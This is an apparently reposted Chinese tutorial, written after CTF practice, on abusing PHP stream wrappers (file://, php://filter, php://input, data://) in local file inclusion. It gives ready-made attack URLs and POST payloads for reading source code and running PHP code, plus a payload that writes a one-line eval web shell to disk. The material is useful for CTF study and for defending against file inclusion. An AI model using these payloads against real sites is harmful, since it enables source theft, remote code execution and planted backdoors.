PHP伪协议浅析(一)

编程入门 行业动态 更新时间:2024-10-24 12:20:48

PHP伪<a href=https://www.elefans.com/category/jswz/34/1771197.html style=协议浅析(一)"/>

PHP伪协议浅析(一)

PHP伪协议浅析

起因也是解CTF。然后遇到了第一次,当时粗略的看了这个东西,但没深入去看。后面又连续又到了几次。这里也和大家分享一下。

一、file:// 协议(这个用的蛮多了)

  • 条件

    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • 作用
    用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopenallow_url_include的影响。
    include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。
  • 用法

    /path/to/file.ext
    relative/path/to/file.ext
    fileInCwd.ext
    C:/path/to/winfile.ext
    C:\path\to\winfile.ext
    \\smbserver\share\path\to\winfile.ext
    file:///path/to/file.ext
  • 示例

    1. file://[文件的绝对路径和文件名]

      http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

    2. [文件的相对路径和文件名]

      http://127.0.0.1/include.php?file=./phpinfo.txt

      [http://网络路径和文件名]

    3. http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

二、php:// 协议

  • 条件

    • allow_url_fopen:off/on
    • allow_url_include :仅php://input php://stdin php://memory php://temp 需要on
  • 作用
    php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://inputphp://filter用于读取源码php://input用于执行php代码
  • php://filter参数详解(这个协议用的蛮多的)

    该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

  • 示例

    1. php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)(这里我在CTF的解题过程中碰到了好几次)

      http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

      然后输出了BASE64的编码后,再去解密一下即可。        

    2. php://input + [POST DATA]执行php代码

      http://127.0.0.1/include.php?file=php://input
      [POST DATA部分]
      <?php phpinfo(); ?>

      若有写入权限,写入一句话木马

      http://127.0.0.1/include.php?file=php://input
      [POST DATA部分]
      <?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

三、data:// 协议

  • 条件

    • allow_url_fopen:on
    • allow_url_include :on
  • 作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
  • 用法

    data://text/plain,
    data://text/plain;base64,
  • 示例

    1. data://text/plain,

      http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

    2. data://text/plain;base64,

      http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

更多推荐

PHP伪协议浅析(一)

本文发布于:2023-07-28 21:51:39,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1329083.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:协议   PHP

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!